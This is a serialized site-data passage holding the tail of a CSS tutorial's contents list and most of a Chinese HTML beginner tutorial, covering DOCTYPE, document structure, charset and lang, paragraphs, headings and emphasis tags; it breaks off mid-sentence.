"depth":357,"text":109586},{"id":109742,"depth":357,"text":109743},{"id":109774,"depth":341,"text":109775,"children":122295},[122296,122297,122298],{"id":109778,"depth":357,"text":109778},{"id":109976,"depth":357,"text":109976},{"id":110097,"depth":357,"text":110098},{"id":110228,"depth":341,"text":110229,"children":122300},[122301,122303,122305,122306,122308],{"id":110239,"depth":357,"text":122302},"content-box 与 border-box：width 到底指哪一层",{"id":110390,"depth":357,"text":122304},"margin 与 padding：一个占外面、一个占里面",{"id":110453,"depth":357,"text":110454},{"id":110508,"depth":357,"text":122307},"负 margin：合法但危险",{"id":110611,"depth":357,"text":110611},{"id":110650,"depth":341,"text":110651,"children":122310},[122311,122312,122314,122315,122316,122318],{"id":110678,"depth":357,"text":110679},{"id":110795,"depth":357,"text":122313},"font-size、font-weight、line-height",{"id":110882,"depth":357,"text":110883},{"id":110924,"depth":357,"text":110924},{"id":111025,"depth":357,"text":122317},"white-space、断行与截断",{"id":111178,"depth":357,"text":111178},{"id":111223,"depth":341,"text":111224,"children":122320},[122321,122323,122324,122326,122327,122329],{"id":111231,"depth":357,"text":122322},"background-image 与 background-size",{"id":111436,"depth":357,"text":111437},{"id":111631,"depth":357,"text":122325},"渐变：它是 \u003Cimage>，不是颜色",{"id":111759,"depth":357,"text":111760},{"id":111923,"depth":357,"text":122328},"box-shadow 的四个可省参数",{"id":112069,"depth":357,"text":112070},{"id":112124,"depth":341,"text":122331,"children":122332},"九、display、可见性与 float：历史与今天的分工",[122333,122335,122336,122338,122339],{"id":112138,"depth":357,"text":122334},"block \u002F inline \u002F inline-block",{"id":112272,"depth":357,"text":112273},{"id":112470,"depth":357,"text":122337},"float：它唯一被设计出来的用途是文字环绕",{"id":112577,"depth":357,"text":112578},{"id":112609,"depth":357,"text":122340},"其余 display 值速查",{"id":112655,"depth":341,"text":112656,"children":122342},[122343,122344,122346,122348,122350,122352],{"id":112674,"depth":357,"text":112675},{"id":112781,"depth":357,"text":122345},"gap：容器间距的正确写法",{"id":112847,"depth":357,"text":122347},"flex-grow \u002F flex-shrink \u002F flex-basis",{"id":113004,"depth":357,"text":122349},"flex-wrap 与 order",{"id":113068,"depth":357,"text":122351},"最经典的坑：min-width 不是 0",{"id":113209,"depth":357,"text":113209},{"id":113360,"depth":341,"text":113361,"children":122354},[122355,122357,122358,122359,122361,122363,122364],{"id":113372,"depth":357,"text":122356},"grid-template-columns 与 fr",{"id":113500,"depth":357,"text":113501},{"id":113651,"depth":357,"text":113652},{"id":113682,"depth":357,"text":122360},"一行代码的响应式：minmax() + auto-fit \u002F auto-fill",{"id":113814,"depth":357,"text":122362},"subgrid：让子卡片共享外层轨道",{"id":113866,"depth":357,"text":113867},{"id":113922,"depth":357,"text":113922},{"id":114016,"depth":341,"text":114017,"children":122366},[122367,122369,122371,122373,122375],{"id":114036,"depth":357,"text":122368},"五种 position 的差别在参考系",{"id":114180,"depth":357,"text":122370},"inset 简写与三种绝对居中",{"id":114355,"depth":357,"text":122372},"z-index：只在自己的层叠上下文里比大小",{"id":114494,"depth":357,"text":122374},"fixed 会被祖先「抢走」",{"id":114521,"depth":357,"text":114521},{"id":114713,"depth":341,"text":114714,"children":122377},[122378,122379,122381,122382,122384],{"id":114728,"depth":357,"text":114729},{"id":114815,"depth":357,"text":122380},"移动优先：默认写窄屏，逐级 min-width 增强",{"id":114935,"depth":357,"text":114936},{"id":115116,"depth":357,"text":122383},"流式排版：clamp() \u002F min() \u002F max()",{"id":115345,"depth":357,"text":122385},"aspect-ratio 与 object-fit：图片适配的两个正交属性",{"id":115483,"depth":341,"text":115484,"children":122387},[122388,122389,122390,122392,122393,122394,122395,122396],{"id":115494,"depth":357,"text":115495},{"id":115589,"depth":357,"text":115589},{"id":115645,"depth":357,"text":122391},"var() 的回退值与「无效」行为",{"id":115778,"depth":357,"text":115779},{"id":115931,"depth":357,"text":115932},{"id":116053,"depth":357,"text":116053},{"id":116204,"depth":357,"text":116205},{"id":116439,"depth":357,"text":116439},{"id":116501,"depth":341,"text":116502,"children":122398},[122399,122401,122403,122405,122406,122408],{"id":116513,"depth":357,"text":122400},":is() 与 :where()：把选择器体积收敛掉",{"id":116643,"depth":357,"text":122402},":has()：真正的父向选择器",{"id":116782,"depth":357,"text":122404},":not() 的多参数与结构伪类",{"id":116873,"depth":357,"text":116874},{"id":117035,"depth":357,"text":122407},"calc() 与混合单位",{"id":117228,"depth":357,"text":117228},{"id":117255,"depth":341,"text":122410,"children":122411},"十六、原生嵌套与 @layer",[122412,122414,122415,122417,122418],{"id":117276,"depth":357,"text":122413},"原生嵌套：& 是「外层选择器原文」",{"id":117535,"depth":357,"text":117536},{"id":117596,"depth":357,"text":122416},"@layer：把优先级写成一句声明",{"id":117732,"depth":357,"text":117733},{"id":117808,"depth":357,"text":117808},{"id":117838,"depth":341,"text":117839,"children":122420},[122421,122423,122425,122427,122428,122429],{"id":117853,"depth":357,"text":122422},"只有一个前提：必须有 content",{"id":117908,"depth":357,"text":122424},"content 的取值形态",{"id":118099,"depth":357,"text":122426},"counter()：章节自动编号",{"id":118245,"depth":357,"text":118246},{"id":118360,"depth":357,"text":118361},{"id":118785,"depth":357,"text":118785},{"id":118840,"depth":341,"text":118841,"children":122431},[122432,122434,122435,122437,122439,122441,122442,122444,122445],{"id":118858,"depth":357,"text":122433},"transition 的四要素",{"id":118990,"depth":357,"text":118990},{"id":119045,"depth":357,"text":122436},"transform：2D、3D 与支点",{"id":119205,"depth":357,"text":122438},"只动 transform 与 opacity",{"id":119415,"depth":357,"text":122440},"@keyframes 与 animation 属性族",{"id":119593,"depth":357,"text":119594},{"id":119675,"depth":357,"text":122443},"will-change：先测量再加",{"id":119724,"depth":357,"text":119725},{"id":119773,"depth":357,"text":119773},{"id":119799,"depth":341,"text":119800,"children":122447},[122448,122449,122451,122453,122455,122457],{"id":119817,"depth":357,"text":119818},{"id":120075,"depth":357,"text":122450},"filter：改自己的绘制结果",{"id":120158,"depth":357,"text":122452},"backdrop-filter：毛玻璃",{"id":120295,"depth":357,"text":122454},"mask 与 clip-path：软边界与硬边界",{"id":120523,"depth":357,"text":122456},"mix-blend-mode 与 background-blend-mode",{"id":120612,"depth":357,"text":120612},{"id":120644,"depth":341,"text":122459,"children":122460},"二十、容器查询、@supports 与调试排错",[122461,122462,122464,122466,122467,122469,122471,122472,122473],{"id":120655,"depth":357,"text":120655},{"id":120735,"depth":357,"text":122463},"container-type 的三个值与代价",{"id":120814,"depth":357,"text":122465},"容器单位：cqi \u002F cqb \u002F cqmin \u002F cqmax",{"id":120956,"depth":357,"text":120956},{"id":121023,"depth":357,"text":122468},"与 :has() 组合，能替掉一大类 JS",{"id":121123,"depth":357,"text":122470},"@supports：测试的是「声明」，不是「特性名」",{"id":121392,"depth":357,"text":121393},{"id":121497,"depth":357,"text":121497},{"id":121730,"depth":357,"text":121730},{"id":121843,"depth":341,"text":121844,"children":122475},[122476,122477,122478,122479],{"id":121850,"depth":357,"text":121851},{"id":121974,"depth":357,"text":121975},{"id":122112,"depth":357,"text":122113},{"id":122232,"depth":357,"text":122233},"\u002Fimg\u002Fcss-cover.svg","2026-10-03","从选择器到容器查询：Flex\u002FGrid 布局、主题化、现代选择器与动画，21 章循序渐进，每章配可运行示例。",{},"\u002Ftutorials\u002Fcss",{"title":108416,"description":122482},{"loc":122484},"tutorials\u002Fcss","opsYVXU5-xq0tz5SZi4_64HRM8L7sFsIM_Z3rvOtRmU",{"id":122490,"title":122491,"body":122492,"category":487,"cover":129952,"date":122481,"description":129953,"extension":4549,"meta":129954,"navigation":997,"path":129955,"seo":129956,"sitemap":129957,"stem":129958,"__hash__":129959},"tutorials\u002Ftutorials\u002Fhtml.md","HTML 教程：从第一个标签到语义化页面",{"type":8,"value":122493,"toc":129840},[122494,122498,122505,122508,122515,122555,122565,122568,122571,122692,122717,122726,122729,122739,122749,122752,122757,122760,122774,122778,122791,122795,122804,122807,122825,122832,122847,122854,122858,122998,123001,123040,123049,123053,123061,123076,123103,123109,123114,123117,123197,123201,123212,123216,123241,123258,123264,123268,123272,123279,123302,123309,123313,123317,123396,123413,123417,123420,123490,123494,123498,123504,123518,123542,123558,123561,123577,123657,123663,123667,123696,123700,123703,123737,123741,123749,123753,123759,123835,123850,123854,123864,123909,123922,123933,123937,123941,123977,123999,124002,124015,124018,124024,124059,124072,124076,124079,124083,124134,124169,124173,124176,124249,124264,124364,124381,124384,124415,124419,124428,124431,124601,124651,124655,124659,124666,124693,124702,124706,124723,124836,124839,124842,124874,124877,124881,124895,124899,124996,125015,125019,125023,125092,125095,125106,125109,125136,125140,125143,125247,125267,125271,125274,125277,125585,125593,125597,125603,125635,125643,125647,125654,125658,125675,125679,125748,125808,125812,125816,125824,126032,126036,126039,126073,126077,126171,126178,126190,126194,126442,126445,126497,126501,126508,126512,126557,126576,126585,126589,126593,126717,126726,126730,126733,126753,126851,126885,126888,126891,126912,126919,126943,126947,126957,126961,127038,127104,127108,127112,127211,127224,127245,127249,127369,127382,127432,127445,127449,127452,127456,127527,127540,127643,127664,127668,127682,127686,127689,127698,127763,127772,127776,127819,127823,127826,127829,127977,127981,127984,127990,128007,128010,128025,128036,128040,128148,128152,128164,128167,128240,128267,128271,128278,128404,128418,128422,128426,128531,128540,128544,128593,128597,128602,128606,128631,128667,128671,128675,128728,128747,128762,128766,128904,128915,128919,128972,128976,128979,128982,129014,129030,129033,129037,129040,129043,129108,129117,129121,129132,129135,129279,129282,129317,129321,129328,129331,129361,129365,129368,129390,129397,129400,129567,129570,129613,129617,129624,129627,129631,129643,129647,129651,129657,129728,129754,129757,129760,129830,129837],[48,122495,122497],{"id":122496},"一html-是什么你的第一个页面","一、HTML 是什么：你的第一个页面",[11,122499,122500,122501,122504],{},"HTML 不是编程语言，而是",[17,122502,122503],{},"标记语言","：它用一对对尖括号包裹的「标签」告诉浏览器，某一段文字是标题、某一段是段落、某一张图可以点开。理解这一点，后面所有标签的学习都会变成「这个标签表达什么含义」的问题，而不是「这个标签怎么写样式」的问题——样式是 CSS 的事。",[53,122506,122507],{"id":122507},"浏览器把一个文件变成画面的过程",[11,122509,122510,122511,122514],{},"你在地址栏输入一个 ",[22,122512,122513],{},".html"," 文件，浏览器大致做四件事：",[1659,122516,122517,122526,122543,122549],{},[1662,122518,122519,77332,122522,122525],{},[17,122520,122521],{},"拿到字节流",[22,122523,122524],{},"\u003Cmeta charset>"," 声明的编码（通常是 UTF-8）把字节解码成文字。声明写错，中文就会变成「æ¬å」这类乱码。",[1662,122527,122528,122531,122532,122535,122536,122539,122540,122542],{},[17,122529,122530],{},"解析成节点树","：逐字符读标签，遇到 ",[22,122533,122534],{},"\u003Cp>"," 就开一个节点，遇到 ",[22,122537,122538],{},"\u003C\u002Fp>"," 就闭合，层层嵌套形成「DOM 树」。树根是 ",[22,122541,487],{}," 节点。",[1662,122544,122545,122548],{},[17,122546,122547],{},"构建渲染树","：结合 CSS 决定哪些节点可见、以什么顺序和位置排布。",[1662,122550,122551,122554],{},[17,122552,122553],{},"绘制到屏幕","：按层叠顺序一笔画一画涂出来。",[11,122556,122557,122558,122561,122562,122564],{},"这条链路解释了后面会反复遇到的两个现象：标签",[17,122559,122560],{},"嵌套顺序","决定结构，而",[17,122563,108701],{},"不决定视觉层级（那是 CSS 定位的事）。",[53,122566,122567],{"id":122567},"一个页面由三部分拼起来",[11,122569,122570],{},"任何 HTML 文件都可以拆成三层，先看最小可用版本：",[308,122572,122574],{"className":485,"code":122573,"language":487,"meta":314,"style":314},"\u003C!DOCTYPE html>\n\u003Chtml lang=\"zh-CN\">\n  \u003Chead>\n    \u003Cmeta charset=\"UTF-8\">\n    \u003Ctitle>我的第一个网页\u003C\u002Ftitle>\n  \u003C\u002Fhead>\n  \u003Cbody>\n    \u003Ch1>我的第一个网页\u003C\u002Fh1>\n    \u003Cp>这一行是段落。\u003C\u002Fp>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[22,122575,122576,122586,122600,122608,122622,122635,122643,122651,122663,122676,122684],{"__ignoreMap":314},[331,122577,122578,122580,122582,122584],{"class":333,"line":334},[331,122579,494],{"class":337},[331,122581,498],{"class":497},[331,122583,502],{"class":501},[331,122585,505],{"class":337},[331,122587,122588,122590,122592,122594,122596,122598],{"class":333,"line":341},[331,122589,510],{"class":337},[331,122591,487],{"class":497},[331,122593,515],{"class":501},[331,122595,518],{"class":337},[331,122597,521],{"class":365},[331,122599,505],{"class":337},[331,122601,122602,122604,122606],{"class":333,"line":357},[331,122603,537],{"class":337},[331,122605,530],{"class":497},[331,122607,505],{"class":337},[331,122609,122610,122612,122614,122616,122618,122620],{"class":333,"line":371},[331,122611,6036],{"class":337},[331,122613,540],{"class":497},[331,122615,543],{"class":501},[331,122617,518],{"class":337},[331,122619,548],{"class":365},[331,122621,505],{"class":337},[331,122623,122624,122626,122628,122631,122633],{"class":333,"line":384},[331,122625,6036],{"class":337},[331,122627,581],{"class":497},[331,122629,122630],{"class":337},">我的第一个网页\u003C\u002F",[331,122632,581],{"class":497},[331,122634,505],{"class":337},[331,122636,122637,122639,122641],{"class":333,"line":397},[331,122638,778],{"class":337},[331,122640,530],{"class":497},[331,122642,505],{"class":337},[331,122644,122645,122647,122649],{"class":333,"line":418},[331,122646,537],{"class":337},[331,122648,800],{"class":497},[331,122650,505],{"class":337},[331,122652,122653,122655,122657,122659,122661],{"class":333,"line":427},[331,122654,6036],{"class":337},[331,122656,810],{"class":497},[331,122658,122630],{"class":337},[331,122660,810],{"class":497},[331,122662,505],{"class":337},[331,122664,122665,122667,122669,122672,122674],{"class":333,"line":439},[331,122666,6036],{"class":337},[331,122668,11],{"class":497},[331,122670,122671],{"class":337},">这一行是段落。\u003C\u002F",[331,122673,11],{"class":497},[331,122675,505],{"class":337},[331,122677,122678,122680,122682],{"class":333,"line":450},[331,122679,778],{"class":337},[331,122681,800],{"class":497},[331,122683,505],{"class":337},[331,122685,122686,122688,122690],{"class":333,"line":456},[331,122687,788],{"class":337},[331,122689,487],{"class":497},[331,122691,505],{"class":337},[1773,122693,122694,122700,122708],{},[1662,122695,122696,122699],{},[22,122697,122698],{},"\u003C!DOCTYPE html>","：告诉浏览器「按现代标准模式渲染」，第二章细说。",[1662,122701,122702,322,122704,122707],{},[22,122703,12624],{},[17,122705,122706],{},"给浏览器和搜索引擎看的元信息","，标题、编码、样式表引用都放这里，不会显示在页面正文里。",[1662,122709,122710,322,122713,122716],{},[22,122711,122712],{},"\u003Cbody>",[17,122714,122715],{},"给人看的全部内容","，页面上你看到的每一个字都在这个标签内部。",[11,122718,122719,122720,5160,122722,122725],{},"新手最容易混淆的是 ",[22,122721,12837],{},[22,122723,122724],{},"\u003Ch1>","：前者出现在浏览器标签页和搜索结果里，后者出现在页面正文顶部。两者都要写，作用完全不同。",[53,122727,122728],{"id":122728},"写下你的第一个文件",[11,122730,122731,122732,122734,122735,122738],{},"准备一个空文件夹，用任意文本编辑器（记事本、VS Code 都行）新建 ",[22,122733,15361],{},"，把上面那段代码粘进去，保存后",[17,122736,122737],{},"双击文件","，它就会在自己的浏览器里打开。",[11,122740,122741,122742,122744,122745,122748],{},"改一行 ",[22,122743,122534],{}," 里的文字，保存，回到浏览器按刷新——这就是 HTML 的开发循环，不需要任何编译工具。把文件拖进 VS Code 再按 ",[22,122746,122747],{},"F1"," 搜「Open with Live Server」（需装插件）可以省掉手动刷新。",[11,122750,122751],{},"下面这个框里就是上面那段代码的真实渲染结果，右边目录的小节、左侧的章节导航，以及正文里所有类似的可运行示例，都是独立文件，点「在新标签页打开」可以单独查看：",[4748,122753],{"height":122754,"src":122755,"title":122756},320,"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F01-first-page.html","示例 01：三个标签搭出的页面",[53,122758,122759],{"id":122759},"接下来往哪走",[11,122761,122762,122763,122766,122767,122770,122771,122773],{},"从第二章开始按顺序推进：先解决「文件为什么这么开头」（文档结构），再补齐文字、列表、链接、图片、表格、表单这些",[17,122764,122765],{},"内容型标签","，然后进入",[17,122768,122769],{},"结构型标签","与语义化，最后是可访问性、SEO 与综合实战。每一章都配可运行示例，看懂了就用，忘了就回来查——正文左侧是章节目录，也可以在搜索框里直接输标签名（例如 ",[22,122772,57],{},"）定位到讲它的那一节。",[48,122775,122777],{"id":122776},"二文档结构与-doctype","二、文档结构与 DOCTYPE",[11,122779,122780,122781,272,122783,272,122786,272,122788,122790],{},"第一章的最小示例里有四个容易被跳过但不该跳过的部分：",[22,122782,122698],{},[22,122784,122785],{},"\u003Chtml lang>",[22,122787,12624],{},[22,122789,122524],{},"。它们不产出任何可见内容，却决定了页面「被怎么解读」。",[53,122792,122794],{"id":122793},"doctype-决定浏览器用哪套规则排版","DOCTYPE 决定浏览器用哪套规则排版",[11,122796,122797,122799,122800,122803],{},[22,122798,122698],{}," 不是标签，而是一条",[17,122801,122802],{},"处理指令","，作用只有一个：让浏览器进入「标准模式（standards mode）」。",[11,122805,122806],{},"在 2000 年前后，浏览器为了兼容当年写得很不规范的网页，保留了两套排版引擎行为。没有 DOCTYPE（或写法是老式的一长串）时，浏览器会退回「怪异模式（quirks mode）」，其中的差异至今还能测出来：",[1773,122808,122809,122818],{},[1662,122810,122811,122812,122814,122815,122817],{},"怪异模式下元素的 ",[22,122813,109101],{}," 行为、表格里的字体继承、",[22,122816,111319],{}," 的基线对齐都与标准模式不同；",[1662,122819,122820,122821,122824],{},"最直观的一条：标准模式下 ",[22,122822,122823],{},"html { height: 100% }"," 才让百分比高度逐级生效，怪异模式里同样的写法可能得到 0 高度。",[11,122826,122827,122828,122831],{},"现代写法只有一种，且",[17,122829,122830],{},"必须放在文件最前面","（前面除了空白和注释不能有任何内容，否则浏览器会当成文本节点渲染到页面上）：",[308,122833,122835],{"className":485,"code":122834,"language":487,"meta":314,"style":314},"\u003C!DOCTYPE html>\n",[22,122836,122837],{"__ignoreMap":314},[331,122838,122839,122841,122843,122845],{"class":333,"line":334},[331,122840,494],{"class":337},[331,122842,498],{"class":497},[331,122844,502],{"class":501},[331,122846,505],{"class":337},[11,122848,122849,122850,122853],{},"看到搜索结果里有 ",[22,122851,122852],{},"\u003Cmeta name=\"generator\" content=\"FrontPage.Editor.1\">"," 这类古董 DOCTYPE 的教程，可以直接关掉那个页面——它们教的正是怪异模式。",[53,122855,122857],{"id":122856},"htmlheadbody-各自负责什么","html、head、body 各自负责什么",[308,122859,122861],{"className":485,"code":122860,"language":487,"meta":314,"style":314},"\u003Chtml lang=\"zh-CN\">\n  \u003Chead>\n    \u003Cmeta charset=\"UTF-8\">\n    \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    \u003Ctitle>页面标题，出现在标签页和搜索结果里\u003C\u002Ftitle>\n    \u003Clink rel=\"stylesheet\" href=\"style.css\">\n  \u003C\u002Fhead>\n  \u003Cbody>\n    \u003Ch1>正文从这开始\u003C\u002Fh1>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[22,122862,122863,122877,122885,122899,122919,122932,122953,122961,122969,122982,122990],{"__ignoreMap":314},[331,122864,122865,122867,122869,122871,122873,122875],{"class":333,"line":334},[331,122866,510],{"class":337},[331,122868,487],{"class":497},[331,122870,515],{"class":501},[331,122872,518],{"class":337},[331,122874,521],{"class":365},[331,122876,505],{"class":337},[331,122878,122879,122881,122883],{"class":333,"line":341},[331,122880,537],{"class":337},[331,122882,530],{"class":497},[331,122884,505],{"class":337},[331,122886,122887,122889,122891,122893,122895,122897],{"class":333,"line":357},[331,122888,6036],{"class":337},[331,122890,540],{"class":497},[331,122892,543],{"class":501},[331,122894,518],{"class":337},[331,122896,548],{"class":365},[331,122898,505],{"class":337},[331,122900,122901,122903,122905,122907,122909,122911,122913,122915,122917],{"class":333,"line":371},[331,122902,6036],{"class":337},[331,122904,540],{"class":497},[331,122906,559],{"class":501},[331,122908,518],{"class":337},[331,122910,564],{"class":365},[331,122912,567],{"class":501},[331,122914,518],{"class":337},[331,122916,572],{"class":365},[331,122918,505],{"class":337},[331,122920,122921,122923,122925,122928,122930],{"class":333,"line":384},[331,122922,6036],{"class":337},[331,122924,581],{"class":497},[331,122926,122927],{"class":337},">页面标题，出现在标签页和搜索结果里\u003C\u002F",[331,122929,581],{"class":497},[331,122931,505],{"class":337},[331,122933,122934,122936,122938,122940,122942,122944,122946,122948,122951],{"class":333,"line":397},[331,122935,6036],{"class":337},[331,122937,87937],{"class":497},[331,122939,6240],{"class":501},[331,122941,518],{"class":337},[331,122943,108456],{"class":365},[331,122945,18790],{"class":501},[331,122947,518],{"class":337},[331,122949,122950],{"class":365},"\"style.css\"",[331,122952,505],{"class":337},[331,122954,122955,122957,122959],{"class":333,"line":418},[331,122956,778],{"class":337},[331,122958,530],{"class":497},[331,122960,505],{"class":337},[331,122962,122963,122965,122967],{"class":333,"line":427},[331,122964,537],{"class":337},[331,122966,800],{"class":497},[331,122968,505],{"class":337},[331,122970,122971,122973,122975,122978,122980],{"class":333,"line":439},[331,122972,6036],{"class":337},[331,122974,810],{"class":497},[331,122976,122977],{"class":337},">正文从这开始\u003C\u002F",[331,122979,810],{"class":497},[331,122981,505],{"class":337},[331,122983,122984,122986,122988],{"class":333,"line":450},[331,122985,778],{"class":337},[331,122987,800],{"class":497},[331,122989,505],{"class":337},[331,122991,122992,122994,122996],{"class":333,"line":456},[331,122993,788],{"class":337},[331,122995,487],{"class":497},[331,122997,505],{"class":337},[11,122999,123000],{},"三条边界值得记住：",[1659,123002,123003,123019,123029],{},[1662,123004,123005,123010,123011,123013,123014,272,123016,123018],{},[17,123006,123007,123009],{},[22,123008,12624],{}," 里放的是「关于页面的信息」","：编码、标题、样式表、图标、SEO 元信息。",[22,123012,12624],{}," 里出现 ",[22,123015,122534],{},[22,123017,122724],{}," 这类可见元素是不合法的，浏览器会把它「揪」到 body 开头，导致难以排查的错位。",[1662,123020,123021,123026,123027,161],{},[17,123022,123023,123025],{},[22,123024,122712],{}," 里放全部可见内容","，且一个文档只能有一个 ",[22,123028,122712],{},[1662,123030,123031,123036,123037,123039],{},[17,123032,123033,123035],{},[22,123034,13280],{}," 是根节点","，所有 CSS\u002FJS 操作 DOM 时面对的树根就是它；",[22,123038,66165],{}," 写在它上面才能被辅助技术和浏览器识别（第十七、十八章会再用到这一点）。",[11,123041,123042,123043,123045,123046,123048],{},"浏览器解析时会自动补全缺失标签：即使你只写 ",[22,123044,122712],{}," 内容而不写 ",[22,123047,13280],{},"，DevTools 里的 Elements 面板仍然显示完整的树。但「浏览器能补救」不等于「写错了没代价」——补救规则让结构推断变得不可预期，也让别人接手时读不出意图。",[53,123050,123052],{"id":123051},"charset-与-lang两个必须显式声明的属性","charset 与 lang：两个必须显式声明的属性",[11,123054,123055,123060],{},[17,123056,123057],{},[22,123058,123059],{},"\u003Cmeta charset=\"UTF-8\">"," 声明字节到文字的解码方式。它有两个实操要点：",[1773,123062,123063,123069],{},[1662,123064,123065,123066,123068],{},"位置要尽量靠前，且在 ",[22,123067,12837],{}," 之前。浏览器为了省时间，只会读取文档开头的有限字节来找编码声明；放得太晚，标题就可能乱码。",[1662,123070,123071,123072,123075],{},"声明只管「浏览器怎么读」，文件本身也得",[17,123073,123074],{},"真的存成 UTF-8","。VS Code 右下角能看到并修改当前编码；用记事本保存时选「UTF-8」。声明与实际编码不一致，改声明没用，改存储编码才有用。",[11,123077,123078,123082,123083,123086,123087,123090,123091,123094,123095,123098,123099,123102],{},[17,123079,123080],{},[22,123081,66165],{}," 的取值是 BCP 47 语言标签：简体中文 ",[22,123084,123085],{},"zh-CN","、繁体中文 ",[22,123088,123089],{},"zh-TW","、英文 ",[22,123092,123093],{},"en","、日文 ",[22,123096,123097],{},"ja","。它影响屏幕阅读器发音、浏览器翻译提示、连字与换行规则（CSS 的 ",[22,123100,123101],{},":lang()"," 选择器也读它，CSS 教程的选择器一章里会用到）。",[11,123104,123105,123106,123108],{},"下面这个示例把本节要点都放进去了，右上角可以直接看它自己的 ",[22,123107,12624],{}," 写了什么：",[4748,123110],{"height":123111,"src":123112,"title":123113},420,"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F02-doctype.html","示例 02：完整文档骨架",[53,123115,123116],{"id":123116},"常见报错与自查",[57,123118,123119,123131],{},[60,123120,123121],{},[63,123122,123123,123125,123128],{},[66,123124,92136],{},[66,123126,123127],{},"大概率原因",[66,123129,123130],{},"怎么确认",[79,123132,123133,123144,123157,123179],{},[63,123134,123135,123138,123141],{},[84,123136,123137],{},"中文变乱码",[84,123139,123140],{},"文件实际编码不是 UTF-8",[84,123142,123143],{},"编辑器右下角看编码，另存为 UTF-8",[63,123145,123146,123149,123152],{},[84,123147,123148],{},"页面顶部多出一行文字",[84,123150,123151],{},"DOCTYPE 前后有内容，或首行漏写",[84,123153,123154,123155],{},"查看源码第一行是否为 ",[22,123156,122698],{},[63,123158,123159,123162,123165],{},[84,123160,123161],{},"百分比高度不生效、间距莫名",[84,123163,123164],{},"浏览器进了怪异模式",[84,123166,123167,123168,123171,123172,123175,123176],{},"DevTools Console 输入 ",[22,123169,123170],{},"document.compatMode","，标准模式返回 ",[22,123173,123174],{},"CSS1Compat","，怪异模式返回 ",[22,123177,123178],{},"BackCompat",[63,123180,123181,123184,123191],{},[84,123182,123183],{},"屏幕阅读器读中文很怪",[84,123185,123186,123188,123189],{},[22,123187,13280],{}," 上没有 ",[22,123190,66165],{},[84,123192,123193,123194,123196],{},"查看源码 ",[22,123195,13280],{}," 标签",[48,123198,123200],{"id":123199},"三文本与段落标签","三、文本与段落标签",[11,123202,123203,123204,123207,123208,123211],{},"从这一章起进入「内容型标签」。判断一个标签该不该用，先问：它表达的是",[17,123205,123206],{},"结构含义","还是",[17,123209,123210],{},"视觉效果","？前者归 HTML，后者归 CSS。",[53,123213,123215],{"id":123214},"pbrhr-的分工","p、br、hr 的分工",[1773,123217,123218,123223,123229],{},[1662,123219,123220,123222],{},[22,123221,122534],{}," 是「一个语意段落」，浏览器默认给它上下外边距。段落之间空一行是排版结果，不是你把回车敲出来的。",[1662,123224,123225,123228],{},[22,123226,123227],{},"\u003Cbr>"," 只表示「同一句话内部必须换行」，典型场景是地址、诗歌、签名。它不产生新段落，所以段间距不会变大。",[1662,123230,123231,123234,123235,123238,123239,161],{},[22,123232,123233],{},"\u003Chr>"," 表示「主题转换的分隔」，比如一章结束、话题跳到另一个。它语义上有意义，",[17,123236,123237],{},"不是装饰线","——想画一条线请交给 CSS 的 ",[22,123240,24063],{},[11,123242,123243,123244,123247,123248,123250,123251,123254,123255,161],{},"HTML 会把源码里连续的空白字符（空格、制表符、回车）",[17,123245,123246],{},"折叠成一个空格","，这叫空白折叠。所以你在 ",[22,123249,122534],{}," 里敲十个回车也不会出现空行。想保留原始空白要用 ",[22,123252,123253],{},"\u003Cpre>","（它还保留缩进，常用于代码块），想要真正的空格请用实体 ",[22,123256,123257],{},"&nbsp;",[11,123259,123260,123261,123263],{},"下面这个示例把这三条都做实了，包括「空白折叠验证」和 ",[22,123262,123253],{}," 的对比：",[4748,123265],{"height":37162,"src":123266,"title":123267},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F03-text.html","示例 03：段落、换行与分隔线",[53,123269,123271],{"id":123270},"h1h6层级不是字号","h1–h6：层级不是字号",[11,123273,123274,123275,123278],{},"六个标题标签构成文档的",[17,123276,123277],{},"大纲","，屏幕阅读器和浏览器的「页面概览」都读它。规则只有两条：",[1659,123280,123281,123291],{},[1662,123282,123283,123284,123286,123287,123290],{},"一页可以有多个 ",[22,123285,122724],{},"，但通常只放一个（页面主标题），从 ",[22,123288,123289],{},"\u003Ch2>"," 开始往下分章节。",[1662,123292,123293,322,123296,123298,123299,123301],{},[17,123294,123295],{},"不要跳层级",[22,123297,48],{}," 之后直接写 ",[22,123300,109152],{}," 会在大纲里留下空洞。",[11,123303,123304,123305,123308],{},"新手最常见的错误是「觉得这行字要小一点，所以用 ",[22,123306,123307],{},"h5","」。层级和字号是两件事，字号交给 CSS 改；用错层级只是把可访问性弄坏了。",[4748,123310],{"height":18300,"src":123311,"title":123312},"\u002Ftutorials\u002Fhtml\u002Fdemos\u002F03b-headings.html","示例 03b：标题层级与语义强调",[53,123314,123316],{"id":123315},"strongem-与-bi-的语义差别","strong、em 与 b、i 的语义差别",[57,123318,123319,123334],{},[60,123320,123321],{},[63,123322,123323,123326,123328,123331],{},[66,123324,123325],{},"标签",[66,123327,49671],{},[66,123329,123330],{},"屏幕阅读器",[66,123332,123333],{},"默认视觉",[79,123335,123336,123352,123368,123382],{},[63,123337,123338,123343,123346,123349],{},[84,123339,123340],{},[22,123341,123342],{},"\u003Cstrong>",[84,123344,123345],{},"内容重要",[84,123347,123348],{},"加重语气播报",[84,123350,123351],{},"加粗",[63,123353,123354,123359,123362,123365],{},[84,123355,123356],{},[22,123357,123358],{},"\u003Cem>",[84,123360,123361],{},"语气重音",[84,123363,123364],{},"换语调播报",[84,123366,123367],{},"斜体",[63,123369,123370,123374,123377,123380],{},[84,123371,123372],{},[22,123373,118797],{},[84,123375,123376],{},"仅视觉偏移（产品名、关键词）",[84,123378,123379],{},"不特别处理",[84,123381,123351],{},[63,123383,123384,123389,123392,123394],{},[84,123385,123386],{},[22,123387,123388],{},"\u003Ci>",[84,123390,123391],{},"仅视觉偏移（术语、外文、物种拉丁名）",[84,123393,123379],{},[84,123395,123367],{},[11,123397,123398,123399,123402,123403,655,123405,123407,123408,655,123410,123412],{},"判断办法：如果把这段文字的强调效果去掉，",[17,123400,123401],{},"意思有没有变","？变了就是 ",[22,123404,17],{},[22,123406,109830],{},"，没变就是 ",[22,123409,22158],{},[22,123411,1189],{},"，而纯粹「想让它显眼」应该用 